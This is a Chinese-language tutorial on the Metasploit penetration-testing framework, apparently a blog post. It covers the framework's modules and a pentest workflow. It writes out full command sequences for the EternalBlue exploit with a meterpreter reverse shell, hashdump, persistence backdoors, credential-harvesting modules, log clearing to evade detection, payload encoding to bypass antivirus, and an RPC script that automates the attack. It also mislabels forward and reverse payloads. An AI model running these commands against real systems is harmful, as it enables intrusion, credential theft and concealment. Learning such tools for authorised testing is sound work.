一、Metasploit 概述
Metasploit是一款开源的渗透测试框架,由 H.D. Moore 于 2003 年首次发布,目前由 rapid7 公司维护。它整合了大量漏洞利用模块、后渗透工具和漏洞扫描功能,已成为网络安全工程师、红队 / 蓝队成员及安全研究人员的核心工具之一。
下载最新版安装包: metasploitframework-latest.msi
Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit
永久添加脚本执行目录到当前用户的PATH: setx PATH "%PATH%;C:\metasploit-framework\bin"
Metasploit -- 目录详解及常用命令
Metasploit基础和基本命令详解
Metasploit Framework(MSF)命令汇总
二、核心功能与组件
-
漏洞利用模块(Exploits)
- 包含数千个针对不同系统、应用的漏洞攻击代码(如 Windows、Linux、Web 服务等),支持自动匹配目标环境。
- 示例:
exploit/windows/smb/ms17_010_eternalblue
(针对永恒之蓝漏洞)。
-
Payload(攻击载荷)
- 漏洞成功利用后执行的代码,可分为:
- 正向 Payload:目标主动连接攻击者(如
windows/meterpreter/reverse_tcp
)。 - 反向 Payload:攻击者主动连接目标(更绕过防火墙,如
windows/meterpreter/bind_tcp
)。
- 正向 Payload:目标主动连接攻击者(如
- 漏洞成功利用后执行的代码,可分为:
-
辅助模块(Auxiliary)
- 非漏洞利用功能,包括:
- 扫描器(如
auxiliary/scanner/portscan/tcp
)、嗅探器、Fuzz 测试工具等。
- 扫描器(如
- 非漏洞利用功能,包括:
-
后渗透模块(Post)
- 获得目标权限后执行的操作,如数据窃取、权限维持、网络信息收集(
post/windows/gather/enum_logged_on_users
)。
- 获得目标权限后执行的操作,如数据窃取、权限维持、网络信息收集(
-
编码器(Encoders)
- 对 Payload 进行加密或变形,绕过杀毒软件检测(如
x86/shikata_ga_nai
)。
- 对 Payload 进行加密或变形,绕过杀毒软件检测(如
打开Metasploit: msfconsole
Metasploit功能列表:
1. Exploit Modules:用于攻击和利用目标系统的漏洞。
2. Payloads:攻击成功后在目标系统上执行的代码,如反向 Shell。
3. Auxiliary Modules:辅助功能,如扫描和嗅探。
4. Encoders:用于编码 Payloads 以规避检测。
5. Post Modules:在目标系统上进一步操作的模块,如提权、信息收集等。
6. Nop Generators:用于生成 NOP(No Operation)指令,帮助躲避 IDS/IPS。
三、工作流程与典型场景
1. 基本渗透测试流程
目标信息收集 → 漏洞扫描 → 选择Exploit与Payload → 配置参数 → 执行攻击 → 后渗透操作
2. 实战示例:获取 Windows 主机权限
# 1. 启动Metasploit msfconsole
# 2. 搜索永恒之蓝漏洞模块 search ms17-010
# 3. 加载漏洞利用模块 use exploit/windows/smb/ms17_010_eternalblue
# 4. 配置目标IP set RHOSTS 192.168.1.100
# 5. 配置Payload(反向连接)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 攻击者 set LHOST 192.168.1.101
# 监听端口 IP set LPORT 4444
# 6. 执行攻击 exploit
3. 后渗透常用命令
sysinfo
:查看系统信息hashdump
:获取密码哈希upload/download
:文件传输persistence
:创建持久化后门
四、优势与局限性
优势
1. 模块化设计,支持自定义扩展;
2. 覆盖主流平台与漏洞,更新频繁;
3. 图形化界面(Metasploit Pro)降低使用门槛。
局限性
1. 依赖已知漏洞,对 0day 攻击支持有限;
2. 流量特征易被检测,需配合免杀技术;
3. 新手需学习编程(如 Ruby)才能开发自定义模块。
五、安全合规与学习资源
-
合规提示
- 仅可在授权环境(如企业内部测试、CTF 竞赛)中使用,未经允许攻击公共网络属于违法行为。
-
学习资源
- 官方文档:Metasploit Documentation
- 实战书籍:《Metasploit 渗透测试指南》《Web 渗透测试实战》
- 在线平台:TryHackMe、Hack The Box(模拟靶场)
六、延伸:Metasploit 的演进与分支
- Metasploit Pro:商业化版本,集成漏洞管理、报告生成等企业级功能。
- Cobalt Strike:后渗透工具,常与 Metasploit 配合使用,具备更隐蔽的 C2 通信能力。
- Armitage:Metasploit 的图形化前端,支持鼠标拖拽式渗透测试。
通过掌握 Metasploit,安全人员可系统性地验证网络防御体系的薄弱环节,而攻击者也可能利用其自动化能力实施攻击。因此,企业需结合 IDS/IPS、EDR 等工具监控异常流量,并及时修补系统漏洞。
七、标准的渗透测试流程示例
1、信息收集(Reconnaissance)
信息收集(Reconnaissance)和 扫描和枚举(Scanning and Enumeration) 获取目标的信息,如 IP 地址、域名等。扫描目标网络,发现开放端口和服务,枚举详细信息。
2、服务扫描
# 调用Nmap并将扫描结果导入Metasploit数据库中
db_nmap -sV -O 192.168.1.0/24
# 扫描网络中的所有活动主机
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run
# 扫描特定主机上的开放端口,识别运行的服务
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run
# 枚举 SMB 服务的版本,了解系统运行的具体服务信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
# 识别 FTP 服务版本
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run
# 识别 HTTP 服务版本
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run
查看已发现的主机和服务
hosts
services
3、漏洞评估(Vulnerability Assessment)或漏洞扫描
识别目标系统中的已知漏洞。
可使用自动化工具:Nessus OpenVAS全面扫描漏洞。
1. 扫描漏洞
# 扫描目标系统的多种漏洞
use auxiliary/scanner/vulnerabilities/realvuln
set RHOSTS 192.168.1.0/24
run
# 扫描 Metasploit 框架支持的漏洞
use auxiliary/scanner/msf/msfscan
set RHOSTS 192.168.1.0/24
run
# Metasploit Pro 版提供更强大的自动化漏洞扫描功能,可以自动化许多步骤,并生成详细报告
use pro
set WORKSPACE default
set RHOSTS 192.168.1.0/24
run
2. 导入其他工具扫描结果
# 导入 Nessus 扫描结果
load nessus
nessus_connect username:password@127.0.0.1:8834
nessus_report_list
nessus_import_report <report_id>
# 导入 OpenVAS 扫描结果
load openvas
openvas_connect username:password@127.0.0.1
openvas_report_list
openvas_import_report <report_id>
3、利用漏洞(Exploitation)
利用发现的漏洞获取对目标系统的访问权限
# 利用目标 SMB 服务的已知漏洞,设置目标主机和本地主机的相关参数并执行攻击
search smb
use exploit/windows/smb/ms17_010_eternalblue
show targets # 查看所选模块支持的模板平台和配置
show options # 查看所选模块的可配置选项
set RHOSTS 192.168.1.100 # 设置目标主机地址
check # 验证漏洞
show payloads # 查看可用的有效载荷
set payload windows/x64/meterpreter/reverse_tcp # 选择并配置适当的有效载荷,如反向 shell
set LHOST 192.168.1.50
exploit # 确认目标存在漏洞后,执行攻击
4、后渗透操作(Post-Exploitation)
在获得访问权限后进行进一步操作,如提权、信息收集等。
shell # 在成功获得 Meterpreter 会话后
meterpreter > sysinfo # 查看系统信息
meterpreter > getuid # 获取当前用户 ID
meterpreter > shell # 进入目标系统的命令提示符
5、清理和报告(Cleanup and Reporting)
清理所有操作痕迹,并生成详细的渗透测试报告。
# 清除目标系统的事件日志,避免被检测到,生成渗透测试报告
meterpreter > clearev
4、Metasploit其他功能
社会工程学工具
Social Engineering Toolkit (SET):可以创建各种社会工程攻击,如钓鱼攻击、恶意 USB 制作等。
# 使用 SET 进行钓鱼攻击
use auxiliary/set/social_engineering/phishing
Web 应用测试
Auxiliary Modules:许多辅助模块用于扫描和测试 Web 应用程序漏洞。
凭证收集
1. Meterpreter Scripts:在目标系统上运行脚本以收集密码和其他凭证。
2. Post Exploitation Modules:用于提取存储的密码和会话令牌。
# 使用 Meterpreter 脚本提取凭证
run post/windows/gather/credentials/windows_autologin
网络隧道
1. Pivoting:通过已攻陷的系统建立网络隧道,以访问内网中的其他系统。
2. Portfwd:转发端口以绕过防火墙和访问受限资源。
# 进行 Pivoting
route add 10.0.0.0 255.255.255.0 1
自定义模块开发
编写自定义模块:使用 Ruby 编写自定义漏洞利用和辅助模块,满足特定需求。
Metasploit 本身主要是基于 Ruby 编写的,但它提供RPC接口,可以通过msgrpc服务集成Python脚本。
pyexec插件示例
shell load pyexec
pyexec 'print("Hello from Python")'
通过 RPC 接口与 Metasploit 交互
# 启动 Metasploit RPC 服务
vim rpc_service.rc
load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=abc123
msfconsole -r rpc_service.rc
vim demo.py
from metasploit.msfrpc import MsfRpcClient
client = MsfRpcClient('abc123', server='127.0.0.1', port=55552)
console = client.consoles.console()
console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
console.write('set RHOSTS 192.168.1.100\n')
console.write('run\n')
任务自动化
1. Resource Scripts:使用 .rc 文件自动化执行一系列 Metasploit 命令。
2. Mettle Payloads:一种新的、更灵活的有效载荷框架,可以执行复杂的任务。
shell # 自动化任务
resource myscript.rc
数据导出和报告
报告生成:生成渗透测试报告,包含详细的测试步骤和结果。
数据导出:将扫描结果和会话数据导出为各种格式。
模块化设计
1. Pluggable Payloads:用户可以自定义和插入自己的有效载荷。
2. Custom Modules:允许用户创建和加载自定义漏洞利用和辅助模块。
混淆与逃避
1. Encoders:对有效载荷进行编码以绕过防病毒软件和入侵检测系统(IDS)。
2. Anti-Forensics:提供工具来混淆日志和删除痕迹。
实时协作
Team Collaboration:Metasploit Pro 支持团队协作,多个用户可以同时对同一目标进行测试。
模拟攻击
Attack Simulations:可以模拟真实的攻击场景,以测试和验证防御措施。
插件支持
Community Plugins:支持用户开发和共享插件,扩展 Metasploit 的功能。
高级报告
Detailed Reporting:生成详细的渗透测试报告,包括发现的漏洞、利用情况和修复建议。
数据库导入
Metasploit 支持从多种第三方漏洞扫描工具导入数据:
Metasploit 第三方软件支持列表
支持的数据格式和工具:
• Foundstone Network Inventory XML
• Microsoft MBSA SecScan XML
• nCircle IP360 XMLv3 and ASPL
• NetSparker XML
• Nessus NBE
• Nessus XML v1 and v2
• Qualys Asset XML
• Qualys Scan XML
• Burp Sessions XML
• Burp Issues XML
• Acunetix XML
• AppScan XML
• Nmap XML
• Retina XML
• Amap Log
• Critical Watch VM XML
• IP Address List
• Libpcap Network Capture
• Spiceworks Inventory Summary CSV
• Core Impact XML Nessus/OpenVAS
导入:可以将 Nessus 或 OpenVAS 的漏洞扫描结果导入 Metasploit 进行进一步分析。
# 导入 Nessus 扫描结果
load nessus
nessus_import_report <report_id>